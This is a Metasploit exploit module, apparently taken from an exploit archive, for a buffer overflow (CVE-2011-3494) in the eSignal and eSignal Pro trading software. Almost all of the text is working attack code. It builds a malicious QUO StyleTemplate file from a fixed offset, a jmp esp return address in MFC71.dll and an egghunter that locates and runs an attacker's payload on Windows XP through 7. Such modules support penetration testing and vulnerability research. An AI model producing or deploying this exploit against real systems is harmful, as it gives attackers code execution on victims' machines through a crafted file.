eSignal / eSignal Pro 10.6.2425.1208 Buffer Overflow

`##  
# $Id: esignal_styletemplate_bof.rb 13768 2011-09-21 11:55:56Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',  
'Description' => %q{  
The software is unable to handle the "<StyleTemplate>" files (even  
those original included in the program) like those with the registered  
extensions QUO, SUM and POR. Successful exploitation of this vulnerability  
may take up to several seconds due to the use of egghunter. Also, DEP  
bypass is unlikely due to the limited space for payload.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Luigi Auriemma', # Original discovery  
'TecR0c <tecr0c[at]tecninja.net>', # msf  
'mr_me <steventhomasseeley[at]gmai.com>', # msf  
],  
'Version' => '$Revision: 13768 $',  
'References' =>  
[  
[ 'CVE', '2011-3494' ],  
[ 'OSVDB', '75456' ],  
[ 'BID', '49600' ],  
[ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00"  
},  
  
'Targets' =>  
[  
[  
'Win XP SP3 / Windows Vista / Windows 7',  
{  
'Ret' => 0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208  
'Offset' => 54  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Sep 06 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),  
], self.class)  
  
end  
  
def exploit  
eggoptions =   
{  
:checksum => false,  
:eggtag => 'eggz'   
}  
  
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
buffer = rand_text_alpha(target['Offset'])  
buffer << [target.ret].pack('V')  
buffer << rand_text_alpha_upper(4)  
buffer << hunter  
buffer << rand_text_alpha_upper(1500)  
buffer << egg  
  
file = "<StyleTemplate>\r\n"  
file << "#{buffer}\r\n"  
file << "</StyleTemplate>\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(file)  
end  
end  
  
`